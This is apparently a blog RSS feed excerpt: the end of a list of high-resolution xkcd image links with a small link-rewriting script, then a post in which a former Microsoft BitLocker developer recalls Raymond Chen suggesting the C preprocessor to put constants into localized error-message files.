&lt;li>3052: &lt;a href="https://imgs.xkcd.com/comics/archive_request_2x.png">https://imgs.xkcd.com/comics/archive_request_2x.png&lt;/a>&lt;/li>
&lt;li>3053: &lt;a href="https://imgs.xkcd.com/comics/km3net_2x.png">https://imgs.xkcd.com/comics/km3net_2x.png&lt;/a>&lt;/li>
&lt;li>3054: &lt;a href="https://imgs.xkcd.com/comics/scream_cipher_2x.png">https://imgs.xkcd.com/comics/scream_cipher_2x.png&lt;/a>&lt;/li>
&lt;li>3055: &lt;a href="https://imgs.xkcd.com/comics/giants_2x.png">https://imgs.xkcd.com/comics/giants_2x.png&lt;/a>&lt;/li>
&lt;li>3056: &lt;a href="https://imgs.xkcd.com/comics/rna_2x.png">https://imgs.xkcd.com/comics/rna_2x.png&lt;/a>&lt;/li>
&lt;li>3057: &lt;a href="https://imgs.xkcd.com/comics/excusing_yourself_2x.png">https://imgs.xkcd.com/comics/excusing_yourself_2x.png&lt;/a>&lt;/li>
&lt;li>3058: &lt;a href="https://imgs.xkcd.com/comics/tall_structures_2x.png">https://imgs.xkcd.com/comics/tall_structures_2x.png&lt;/a>&lt;/li>
&lt;li>3059: &lt;a href="https://imgs.xkcd.com/comics/water_damage_2x.png">https://imgs.xkcd.com/comics/water_damage_2x.png&lt;/a>&lt;/li>
&lt;li>3060: &lt;a href="https://imgs.xkcd.com/comics/omniroll_2x.png">https://imgs.xkcd.com/comics/omniroll_2x.png&lt;/a>&lt;/li>
&lt;li>3061: &lt;a href="https://imgs.xkcd.com/comics/water_balloons_2x.png">https://imgs.xkcd.com/comics/water_balloons_2x.png&lt;/a>&lt;/li>
&lt;li>3062: &lt;a href="https://imgs.xkcd.com/comics/off_by_one_2x.png">https://imgs.xkcd.com/comics/off_by_one_2x.png&lt;/a>&lt;/li>
&lt;li>3063: &lt;a href="https://imgs.xkcd.com/comics/planet_definitions_2x.png">https://imgs.xkcd.com/comics/planet_definitions_2x.png&lt;/a>&lt;/li>
&lt;li>3064: &lt;a href="https://imgs.xkcd.com/comics/lungfish_2x.png">https://imgs.xkcd.com/comics/lungfish_2x.png&lt;/a>&lt;/li>
&lt;li>3065: &lt;a href="https://imgs.xkcd.com/comics/square_units_2x.png">https://imgs.xkcd.com/comics/square_units_2x.png&lt;/a>&lt;/li>
&lt;li>3066: &lt;a href="https://imgs.xkcd.com/comics/cosmic_distance_calibration_2x.png">https://imgs.xkcd.com/comics/cosmic_distance_calibration_2x.png&lt;/a>&lt;/li>
&lt;li>3067: &lt;a href="https://imgs.xkcd.com/comics/sawstart_2x.png">https://imgs.xkcd.com/comics/sawstart_2x.png&lt;/a>&lt;/li>
&lt;li>3068: &lt;a href="https://imgs.xkcd.com/comics/rock_identification_2x.png">https://imgs.xkcd.com/comics/rock_identification_2x.png&lt;/a>&lt;/li>
&lt;li>3069: &lt;a href="https://imgs.xkcd.com/comics/terror_bird_2x.png">https://imgs.xkcd.com/comics/terror_bird_2x.png&lt;/a>&lt;/li>
&lt;li>3070: &lt;a href="https://imgs.xkcd.com/comics/orogeny_2x.png">https://imgs.xkcd.com/comics/orogeny_2x.png&lt;/a>&lt;/li>
&lt;li>3071: &lt;a href="https://imgs.xkcd.com/comics/decay_chain_2x.png">https://imgs.xkcd.com/comics/decay_chain_2x.png&lt;/a>&lt;/li>
&lt;li>3072: &lt;a href="https://imgs.xkcd.com/comics/stargazing_4_2x.png">https://imgs.xkcd.com/comics/stargazing_4_2x.png&lt;/a>&lt;/li>
&lt;li>3073: &lt;a href="https://imgs.xkcd.com/comics/tariffs_2x.png">https://imgs.xkcd.com/comics/tariffs_2x.png&lt;/a>&lt;/li>
&lt;li>3074: &lt;a href="https://imgs.xkcd.com/comics/push_notifications_2x.png">https://imgs.xkcd.com/comics/push_notifications_2x.png&lt;/a>&lt;/li>
&lt;li>3075: &lt;a href="https://imgs.xkcd.com/comics/anachronym_challenge_2x.png">https://imgs.xkcd.com/comics/anachronym_challenge_2x.png&lt;/a>&lt;/li>
&lt;li>3076: &lt;a href="https://imgs.xkcd.com/comics/the_roads_both_taken_2x.png">https://imgs.xkcd.com/comics/the_roads_both_taken_2x.png&lt;/a>&lt;/li>
&lt;li>3077: &lt;a href="https://imgs.xkcd.com/comics/de_sitter_2x.png">https://imgs.xkcd.com/comics/de_sitter_2x.png&lt;/a>&lt;/li>
&lt;li>3078: &lt;a href="https://imgs.xkcd.com/comics/anchor_bolts_2x.png">https://imgs.xkcd.com/comics/anchor_bolts_2x.png&lt;/a>&lt;/li>
&lt;li>3079: &lt;a href="https://imgs.xkcd.com/comics/air_fact_2x.png">https://imgs.xkcd.com/comics/air_fact_2x.png&lt;/a>&lt;/li>
&lt;li>3080: &lt;a href="https://imgs.xkcd.com/comics/tennis_balls_2x.png">https://imgs.xkcd.com/comics/tennis_balls_2x.png&lt;/a>&lt;/li>
&lt;li>3081: &lt;a href="https://imgs.xkcd.com/comics/phd_timeline_2x.png">https://imgs.xkcd.com/comics/phd_timeline_2x.png&lt;/a>&lt;/li>
&lt;li>3082: &lt;a href="https://imgs.xkcd.com/comics/chess_position_2x.png">https://imgs.xkcd.com/comics/chess_position_2x.png&lt;/a>&lt;/li>
&lt;li>3083: &lt;a href="https://imgs.xkcd.com/comics/jupiter_core_2x.png">https://imgs.xkcd.com/comics/jupiter_core_2x.png&lt;/a>&lt;/li>
&lt;li>3084: &lt;a href="https://imgs.xkcd.com/comics/unstoppable_force_and_immovable_object_2x.png">https://imgs.xkcd.com/comics/unstoppable_force_and_immovable_object_2x.png&lt;/a>&lt;/li>
&lt;li>3085: &lt;a href="https://imgs.xkcd.com/comics/about_20_pounds_2x.png">https://imgs.xkcd.com/comics/about_20_pounds_2x.png&lt;/a>&lt;/li>
&lt;li>3086: &lt;a href="https://imgs.xkcd.com/comics/globe_safety_2x.png">https://imgs.xkcd.com/comics/globe_safety_2x.png&lt;/a>&lt;/li>
&lt;li>3087: &lt;a href="https://imgs.xkcd.com/comics/pascals_law_2x.png">https://imgs.xkcd.com/comics/pascals_law_2x.png&lt;/a>&lt;/li>
&lt;li>3088: &lt;a href="https://imgs.xkcd.com/comics/deposition_2x.png">https://imgs.xkcd.com/comics/deposition_2x.png&lt;/a>&lt;/li>
&lt;li>3089: &lt;a href="https://imgs.xkcd.com/comics/modern_2x.png">https://imgs.xkcd.com/comics/modern_2x.png&lt;/a>&lt;/li>
&lt;li>3090: &lt;a href="https://imgs.xkcd.com/comics/sail_physics_2x.png">https://imgs.xkcd.com/comics/sail_physics_2x.png&lt;/a>&lt;/li>
&lt;li>3091: &lt;a href="https://imgs.xkcd.com/comics/renormalization_2x.png">https://imgs.xkcd.com/comics/renormalization_2x.png&lt;/a>&lt;/li>
&lt;li>3092: &lt;a href="https://imgs.xkcd.com/comics/bakers_units_2x.png">https://imgs.xkcd.com/comics/bakers_units_2x.png&lt;/a>&lt;/li>
&lt;li>3093: &lt;a href="https://imgs.xkcd.com/comics/drafting_2x.png">https://imgs.xkcd.com/comics/drafting_2x.png&lt;/a>&lt;/li>
&lt;li>3094: &lt;a href="https://imgs.xkcd.com/comics/mass_spec_2x.png">https://imgs.xkcd.com/comics/mass_spec_2x.png&lt;/a>&lt;/li>
&lt;li>3095: &lt;a href="https://imgs.xkcd.com/comics/archaea_2x.png">https://imgs.xkcd.com/comics/archaea_2x.png&lt;/a>&lt;/li>
&lt;li>3096: &lt;a href="https://imgs.xkcd.com/comics/check_engine_2x.png">https://imgs.xkcd.com/comics/check_engine_2x.png&lt;/a>&lt;/li>
&lt;li>3097: &lt;a href="https://imgs.xkcd.com/comics/bridge_types_2x.png">https://imgs.xkcd.com/comics/bridge_types_2x.png&lt;/a>&lt;/li>
&lt;li>3098: &lt;a href="https://imgs.xkcd.com/comics/trojan_horse_2x.png">https://imgs.xkcd.com/comics/trojan_horse_2x.png&lt;/a>&lt;/li>
&lt;li>3099: &lt;a href="https://imgs.xkcd.com/comics/neighbor_source_heat_pump_2x.png">https://imgs.xkcd.com/comics/neighbor_source_heat_pump_2x.png&lt;/a>&lt;/li>
&lt;li>3100: &lt;a href="https://imgs.xkcd.com/comics/alert_sound_2x.png">https://imgs.xkcd.com/comics/alert_sound_2x.png&lt;/a>&lt;/li>
&lt;li>3101: &lt;a href="https://imgs.xkcd.com/comics/good_science_2x.png">https://imgs.xkcd.com/comics/good_science_2x.png&lt;/a>&lt;/li>
&lt;li>3102: &lt;a href="https://imgs.xkcd.com/comics/reading_a_big_number_2x.png">https://imgs.xkcd.com/comics/reading_a_big_number_2x.png&lt;/a>&lt;/li>
&lt;li>3103: &lt;a href="https://imgs.xkcd.com/comics/exoplanet_system_2x.png">https://imgs.xkcd.com/comics/exoplanet_system_2x.png&lt;/a>&lt;/li>
&lt;li>3104: &lt;a href="https://imgs.xkcd.com/comics/tukey_2x.png">https://imgs.xkcd.com/comics/tukey_2x.png&lt;/a>&lt;/li>
&lt;li>3105: &lt;a href="https://imgs.xkcd.com/comics/interoperability_2x.png">https://imgs.xkcd.com/comics/interoperability_2x.png&lt;/a>&lt;/li>
&lt;li>3106: &lt;a href="https://imgs.xkcd.com/comics/farads_2x.png">https://imgs.xkcd.com/comics/farads_2x.png&lt;/a>&lt;/li>
&lt;li>3107: &lt;a href="https://imgs.xkcd.com/comics/weather_balloons_2x.png">https://imgs.xkcd.com/comics/weather_balloons_2x.png&lt;/a>&lt;/li>
&lt;li>3108: &lt;a href="https://imgs.xkcd.com/comics/laser_danger_2x.png">https://imgs.xkcd.com/comics/laser_danger_2x.png&lt;/a>&lt;/li>
&lt;li>3109: &lt;a href="https://imgs.xkcd.com/comics/dehumidifier_2x.png">https://imgs.xkcd.com/comics/dehumidifier_2x.png&lt;/a>&lt;/li>
&lt;li>3110: &lt;a href="https://imgs.xkcd.com/comics/global_ranking_2x.png">https://imgs.xkcd.com/comics/global_ranking_2x.png&lt;/a>&lt;/li>
&lt;li>3111: &lt;a href="https://imgs.xkcd.com/comics/artificial_gravity_2x.png">https://imgs.xkcd.com/comics/artificial_gravity_2x.png&lt;/a>&lt;/li>
&lt;li>3112: &lt;a href="https://imgs.xkcd.com/comics/geology_murder_2x.png">https://imgs.xkcd.com/comics/geology_murder_2x.png&lt;/a>&lt;/li>
&lt;li>3113: &lt;a href="https://imgs.xkcd.com/comics/fix_this_sign_2x.png">https://imgs.xkcd.com/comics/fix_this_sign_2x.png&lt;/a>&lt;/li>
&lt;li>3114: &lt;a href="https://imgs.xkcd.com/comics/building_a_fire_2x.png">https://imgs.xkcd.com/comics/building_a_fire_2x.png&lt;/a>&lt;/li>
&lt;li>3115: &lt;a href="https://imgs.xkcd.com/comics/unsolved_physics_problems_2x.png">https://imgs.xkcd.com/comics/unsolved_physics_problems_2x.png&lt;/a>&lt;/li>
&lt;li>3116: &lt;a href="https://imgs.xkcd.com/comics/echo_chamber_2x.png">https://imgs.xkcd.com/comics/echo_chamber_2x.png&lt;/a>&lt;/li>
&lt;li>3117: &lt;a href="https://imgs.xkcd.com/comics/replication_crisis_2x.png">https://imgs.xkcd.com/comics/replication_crisis_2x.png&lt;/a>&lt;/li>
&lt;li>3118: &lt;a href="https://imgs.xkcd.com/comics/inaturalist_animals_and_plants_2x.png">https://imgs.xkcd.com/comics/inaturalist_animals_and_plants_2x.png&lt;/a>&lt;/li>
&lt;li>3119: &lt;a href="https://imgs.xkcd.com/comics/flettner_rotor_2x.png">https://imgs.xkcd.com/comics/flettner_rotor_2x.png&lt;/a>&lt;/li>
&lt;li>3120: &lt;a href="https://imgs.xkcd.com/comics/geologic_periods_2x.png">https://imgs.xkcd.com/comics/geologic_periods_2x.png&lt;/a>&lt;/li>
&lt;li>3121: &lt;a href="https://imgs.xkcd.com/comics/kite_incident_2x.png">https://imgs.xkcd.com/comics/kite_incident_2x.png&lt;/a>&lt;/li>
&lt;li>3122: &lt;a href="https://imgs.xkcd.com/comics/bad_map_projection_interrupted_spheres_2x.png">https://imgs.xkcd.com/comics/bad_map_projection_interrupted_spheres_2x.png&lt;/a>&lt;/li>
&lt;li>3123: &lt;a href="https://imgs.xkcd.com/comics/canon_2x.png">https://imgs.xkcd.com/comics/canon_2x.png&lt;/a>&lt;/li>
&lt;li>3124: &lt;a href="https://imgs.xkcd.com/comics/grounded_2x.png">https://imgs.xkcd.com/comics/grounded_2x.png&lt;/a>&lt;/li>
&lt;li>3125: &lt;a href="https://imgs.xkcd.com/comics/snake_in_the_box_problem_2x.png">https://imgs.xkcd.com/comics/snake_in_the_box_problem_2x.png&lt;/a>&lt;/li>
&lt;li>3126: &lt;a href="https://imgs.xkcd.com/comics/disclaimer_2x.png">https://imgs.xkcd.com/comics/disclaimer_2x.png&lt;/a>&lt;/li>
&lt;li>3127: &lt;a href="https://imgs.xkcd.com/comics/where_babies_come_from_2x.png">https://imgs.xkcd.com/comics/where_babies_come_from_2x.png&lt;/a>&lt;/li>
&lt;li>3128: &lt;a href="https://imgs.xkcd.com/comics/thread_meeting_2x.png">https://imgs.xkcd.com/comics/thread_meeting_2x.png&lt;/a>&lt;/li>
&lt;li>3129: &lt;a href="https://imgs.xkcd.com/comics/archaeology_research_2x.png">https://imgs.xkcd.com/comics/archaeology_research_2x.png&lt;/a>&lt;/li>
&lt;li>3130: &lt;a href="https://imgs.xkcd.com/comics/predicament_2x.png">https://imgs.xkcd.com/comics/predicament_2x.png&lt;/a>&lt;/li>
&lt;li>3131: &lt;a href="https://imgs.xkcd.com/comics/cesium_2x.png">https://imgs.xkcd.com/comics/cesium_2x.png&lt;/a>&lt;/li>
&lt;li>3132: &lt;a href="https://imgs.xkcd.com/comics/coastline_similarity_2x.png">https://imgs.xkcd.com/comics/coastline_similarity_2x.png&lt;/a>&lt;/li>
&lt;li>3133: &lt;a href="https://imgs.xkcd.com/comics/dual_roomba_2x.png">https://imgs.xkcd.com/comics/dual_roomba_2x.png&lt;/a>&lt;/li>
&lt;li>3134: &lt;a href="https://imgs.xkcd.com/comics/wavefunction_collapse_2x.png">https://imgs.xkcd.com/comics/wavefunction_collapse_2x.png&lt;/a>&lt;/li>
&lt;li>3135: &lt;a href="https://imgs.xkcd.com/comics/sea_level_2x.png">https://imgs.xkcd.com/comics/sea_level_2x.png&lt;/a>&lt;/li>
&lt;li>3136: &lt;a href="https://imgs.xkcd.com/comics/pull_2x.png">https://imgs.xkcd.com/comics/pull_2x.png&lt;/a>&lt;/li>
&lt;li>3137: &lt;a href="https://imgs.xkcd.com/comics/cursed_number_2x.png">https://imgs.xkcd.com/comics/cursed_number_2x.png&lt;/a>&lt;/li>
&lt;li>3138: &lt;a href="https://imgs.xkcd.com/comics/dimensional_lumber_tape_measure_2x.png">https://imgs.xkcd.com/comics/dimensional_lumber_tape_measure_2x.png&lt;/a>&lt;/li>
&lt;li>3139: &lt;a href="https://imgs.xkcd.com/comics/chess_variant_2x.png">https://imgs.xkcd.com/comics/chess_variant_2x.png&lt;/a>&lt;/li>
&lt;li>3140: &lt;a href="https://imgs.xkcd.com/comics/biology_department_2x.png">https://imgs.xkcd.com/comics/biology_department_2x.png&lt;/a>&lt;/li>
&lt;li>3141: &lt;a href="https://imgs.xkcd.com/comics/mantle_model_2x.png">https://imgs.xkcd.com/comics/mantle_model_2x.png&lt;/a>&lt;/li>
&lt;li>3142: &lt;a href="https://imgs.xkcd.com/comics/city_style_pizza_2x.png">https://imgs.xkcd.com/comics/city_style_pizza_2x.png&lt;/a>&lt;/li>
&lt;li>3143: &lt;a href="https://imgs.xkcd.com/comics/question_mark_2x.png">https://imgs.xkcd.com/comics/question_mark_2x.png&lt;/a>&lt;/li>
&lt;li>3144: &lt;a href="https://imgs.xkcd.com/comics/phase_changes_2x.png">https://imgs.xkcd.com/comics/phase_changes_2x.png&lt;/a>&lt;/li>
&lt;li>3145: &lt;a href="https://imgs.xkcd.com/comics/piercing_2x.png">https://imgs.xkcd.com/comics/piercing_2x.png&lt;/a>&lt;/li>
&lt;li>3146: &lt;a href="https://imgs.xkcd.com/comics/fantastic_four_2x.png">https://imgs.xkcd.com/comics/fantastic_four_2x.png&lt;/a>&lt;/li>
&lt;li>3147: &lt;a href="https://imgs.xkcd.com/comics/hiking_2x.png">https://imgs.xkcd.com/comics/hiking_2x.png&lt;/a>&lt;/li>
&lt;/ul>
&lt;script>
document.addEventListener('DOMContentLoaded', function() {
 // Find all list items in the document
 const listItems = document.querySelectorAll('li');

 listItems.forEach(function(li) {
 const text = li.textContent.trim();

 // Match the pattern: #NNNN: URL
 const urlMatch = text.match(/^(\d+):\s*(https:\/\/imgs\.xkcd\.com\/comics\/.*\....)\s*$/);

 if (urlMatch) {
 const comicNumber = urlMatch[1];
 const imageUrl = urlMatch[2];

 // Create the new HTML content for comics with 2x available
 li.innerHTML = '&lt;a href="https://xkcd.com/' + comicNumber + '/">' + comicNumber + '&lt;/a>: &lt;a href="' + imageUrl + '">2x available&lt;/a>';
 } else {
 // Match the pattern: #NNNN: No higher res available
 const noResMatch = text.match(/^(\d+):\s*No higher res available\s*$/);

 if (noResMatch) {
 const comicNumber = noResMatch[1];

 // Create the new HTML content for comics without 2x
 li.innerHTML = '&lt;a href="https://xkcd.com/' + comicNumber + '/">' + comicNumber + '&lt;/a>: No higher res available';
 }
 }
 });
});
&lt;/script></content:encoded></item><item><title>I Once Appeared in The Old New Thing</title><link>https://mtlynch.io/my-old-new-thing-cameo/</link><pubDate>Mon, 15 Sep 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/my-old-new-thing-cameo/</guid><description>&lt;p>I&amp;rsquo;m a pretty humble guy, so most people don&amp;rsquo;t know this extremely impressive fact about me: Raymond Chen once &lt;a href="https://devblogs.microsoft.com/oldnewthing/20090724-00/?p=17373">mentioned me&lt;/a> on &lt;em>The Old New Thing&lt;/em>, the classic Windows development blog.&lt;/p>
&lt;p>No, he didn&amp;rsquo;t mention me by name nor did he provide any way to identify me, but I still deserve credit for how little I boast about this stunning achievement.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention_hu_91743f1a8aac1bf4.webp 300w, https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention_hu_ba99103a07edbbca.webp 600w, https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention_hu_5c1723bcaeb7cf8d.webp 800w, https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention.webp 816w'
 src="https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>In 2009, Raymond Chen &lt;a href="https://devblogs.microsoft.com/oldnewthing/20090724-00/?p=17373">mentioned me&lt;/a> in an issue of &lt;em>The Old New Thing&lt;/em>.&lt;/p></description><content:encoded>&lt;p>I&amp;rsquo;m a pretty humble guy, so most people don&amp;rsquo;t know this extremely impressive fact about me: Raymond Chen once &lt;a href="https://devblogs.microsoft.com/oldnewthing/20090724-00/?p=17373">mentioned me&lt;/a> on &lt;em>The Old New Thing&lt;/em>, the classic Windows development blog.&lt;/p>
&lt;p>No, he didn&amp;rsquo;t mention me by name nor did he provide any way to identify me, but I still deserve credit for how little I boast about this stunning achievement.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention_hu_91743f1a8aac1bf4.webp 300w, https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention_hu_ba99103a07edbbca.webp 600w, https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention_hu_5c1723bcaeb7cf8d.webp 800w, https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention.webp 816w'
 src="https://mtlynch.io/my-old-new-thing-cameo/oldnewthing-mention.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>In 2009, Raymond Chen &lt;a href="https://devblogs.microsoft.com/oldnewthing/20090724-00/?p=17373">mentioned me&lt;/a> in an issue of &lt;em>The Old New Thing&lt;/em>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="the-problem-i-was-trying-to-solve">The problem I was trying to solve&lt;/h2>
&lt;p>Raymond described me in the post as &amp;ldquo;a customer,&amp;rdquo; but I was actually his fellow Microsoft employee at the time. I was 23 and coming up on two years as a developer at Microsoft, my first job out of college.&lt;/p>
&lt;p>I worked on &lt;a href="https://en.wikipedia.org/wiki/BitLocker">BitLocker&lt;/a>, the feature of Windows that encrypts disk drives. We were starting development on Windows 8, and my project was to improve BitLocker&amp;rsquo;s configuration experience.&lt;/p>
&lt;p>BitLocker had many knobs and dials that admins could configure through organization-level settings (&lt;a href="https://en.wikipedia.org/wiki/Group_Policy">Group Policy&lt;/a>, in Windows terms). An IT admin could enforce a rule across their organization like, &amp;ldquo;Everyone&amp;rsquo;s BitLocker passphrase has to be at least 12 characters long,&amp;rdquo; and then BitLocker would force users to create passphrases that were at least 12 characters.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/my-old-new-thing-cameo/bitlocker-group-policy.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/my-old-new-thing-cameo/bitlocker-group-policy_hu_9545b2e6f3d5b5c5.webp 300w, https://mtlynch.io/my-old-new-thing-cameo/bitlocker-group-policy_hu_504154b0fc3ff8aa.webp 600w, https://mtlynch.io/my-old-new-thing-cameo/bitlocker-group-policy_hu_398a28db5443afd7.webp 800w, https://mtlynch.io/my-old-new-thing-cameo/bitlocker-group-policy.webp 1024w'
 src="https://mtlynch.io/my-old-new-thing-cameo/bitlocker-group-policy.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>BitLocker&amp;rsquo;s configuration options, viewed through the Windows Group Policy editor&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>One of BitLocker&amp;rsquo;s configuration headaches was that the error messages were vague. If you tried to configure a rule that said passphrases had to be at least 1000 characters, BitLocker would throw an error like, &amp;ldquo;No, that&amp;rsquo;s too long,&amp;rdquo; but it wouldn&amp;rsquo;t tell you what the limit was.&lt;/p>
&lt;p>At Microsoft, &lt;span style="white-space: nowrap;">C++&lt;/span> code couldn&amp;rsquo;t contain error messages because the localization team had to translate all user-facing text into other languages. So, all user-facing text lived in &lt;code>.mc&lt;/code> files that looked like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>SymbolicName=ERROR_BITLOCKER_PASSPHRASE_MINIMUM_TOO_LONG
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>The BitLocker minimum passphrase length is too high.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SymbolicName=...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then somewhere in the &lt;span style="white-space: nowrap;">C++&lt;/span> code, we&amp;rsquo;d have a check that looked like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c++" data-lang="c++">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#define MAX_PASSPHRASE_MINIMUM 20
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>UINT32 minimumPassphraseLength = ReadGroupPolicy(GP_BITLOCKER_MINIMUM_PASSPHRASE_LENGTH);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (minimumPassphraseLength &amp;gt; MAX_PASSPHRASE_MINIMUM) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ShowError(ERROR_BITLOCKER_PASSPHRASE_MINIMUM_TOO_LONG);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I wanted to change BitLocker&amp;rsquo;s error messages so that they gave the user specific information about why the error occurred. So, instead of seeing this:&lt;/p>
&lt;blockquote>
&lt;p>The BitLocker minimum passphrase length &lt;strong>is too high&lt;/strong>.&lt;/p>&lt;/blockquote>
&lt;p>I wanted the user to see this:&lt;/p>
&lt;blockquote>
&lt;p>The BitLocker minimum passphrase length &lt;strong>cannot exceed 20&lt;/strong>.&lt;/p>&lt;/blockquote>
&lt;p>I didn&amp;rsquo;t want to copy the value of &lt;code>20&lt;/code> from the &lt;span style="white-space: nowrap;">C++&lt;/span> code into the &lt;code>.mc&lt;/code> file because if we later changed the value of &lt;code>MAX_PASSPHRASE_MINIMUM&lt;/code>, it would go out of sync with the &lt;code>.mc&lt;/code> file and make the error message incorrect.&lt;/p>
&lt;h2 id="how-raymond-chen-got-involved">How Raymond Chen got involved&lt;/h2>
&lt;p>I didn&amp;rsquo;t know a lot about the Message Compiler tool that consumed &lt;code>.mc&lt;/code> files. I couldn&amp;rsquo;t find any examples of anyone referencing &lt;span style="white-space: nowrap;">C++&lt;/span> values in &lt;code>.mc&lt;/code> files, but I felt like there had to be some way of doing it.&lt;/p>
&lt;p>I asked on a company-internal mailing list if I could write the &lt;code>.mc&lt;/code> file like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>SymbolicName=ERROR_BITLOCKER_PASSPHRASE_MINIMUM_TOO_LONG
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>The BitLocker minimum passphrase length cannot exceed ${MAX_PASSPHRASE_MINIMUM}.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Raymond Chen posted frequently on these mailing lists. Even in 2009, he had been at Microsoft forever and had an encyclopedic knowledge of everything related to Windows development. His replies were helpful and authoritative but snarky if he thought you didn&amp;rsquo;t do enough research before asking the question.&lt;/p>
&lt;p>If I recall correctly, Raymond sent a terse reply to my thread, saying, &amp;ldquo;There&amp;rsquo;s no law saying you can&amp;rsquo;t use the preprocessor,&amp;rdquo; and an example of generating the &lt;code>.mc&lt;/code> file with the preprocessor command.&lt;/p>
&lt;p>It took me a while to even understand what he was trying to tell me. I didn&amp;rsquo;t know you &lt;em>could&lt;/em> tell a &lt;span style="white-space: nowrap;">C++&lt;/span> compiler to only run the preprocessing step.&lt;/p>
&lt;h2 id="wasting-raymond-chens-time">Wasting Raymond Chen&amp;rsquo;s time&lt;/h2>
&lt;p>The shameful part of this story is that even though I got advice from the great Raymond Chen, I chickened out of using it.&lt;/p>
&lt;p>In Raymond Chen&amp;rsquo;s blog post, he showed how easy it is to change a few lines in your Makefile so that your source file is a &lt;code>.mcp&lt;/code> file instead of a &lt;code>.mc&lt;/code> file. Easy peasy!&lt;/p>
&lt;p>The Windows build system was infinitely more complicated than a Makefile. I don&amp;rsquo;t remember what it looked like except that I found it scary and confusing.&lt;/p>
&lt;p>Worse, if you messed up the build, you might not find out until you received an email the next morning announcing that you broke the nightly build, and now dozens or hundreds of people don&amp;rsquo;t have that day&amp;rsquo;s Windows build because of you.&lt;/p>
&lt;p>So, I had a choice. I could be the first person to try a new thing in the build system and risk burning a week or two on fixing unexpected issues. Or I could pretend I never had the idea to put specific numbers into BitLocker&amp;rsquo;s error messages and focus on other ways to make the configuration easier.&lt;/p>
&lt;p>I chose the latter.&lt;/p>
&lt;h2 id="i-still-wouldnt-know-how-to-solve-this-today">I still wouldn&amp;rsquo;t know how to solve this today&lt;/h2>
&lt;p>At the time, I remember thinking, &amp;ldquo;Wow, I&amp;rsquo;m dumb for not knowing I could use the C preprocessor like this.&amp;rdquo;&lt;/p>
&lt;p>Most of the time, when I look back at a software problem I struggled with years ago, the solution is more obvious to me today. Usually, I can think of a better solution.&lt;/p>
&lt;p>But 16 years later, Raymond&amp;rsquo;s solution to run the C preprocessor on a non-C/&lt;span style="white-space: nowrap;">C++&lt;/span> file still feels unexpected. If I had all of my professional experience except this one memory of Raymond Chen, and you told me to solve the problem again, I&amp;rsquo;d still struggle just as much as I did in 2009.&lt;/p>
&lt;p>The difference today is that I don&amp;rsquo;t feel dumb for not knowing how to solve this problem. I now see it as a weakness in Microsoft&amp;rsquo;s internal tooling. At Microsoft, on their flagship product, how was there no standard way for developers to reference constant values in both error messages and &lt;span style="white-space: nowrap;">C++&lt;/span> code?&lt;/p>
&lt;p>As a software engineer, there are some problems that you find unpleasant, but you grit your teeth and practice until you get better. Other problems, you just avoid by carefully picking what jobs and projects you take on.&lt;/p>
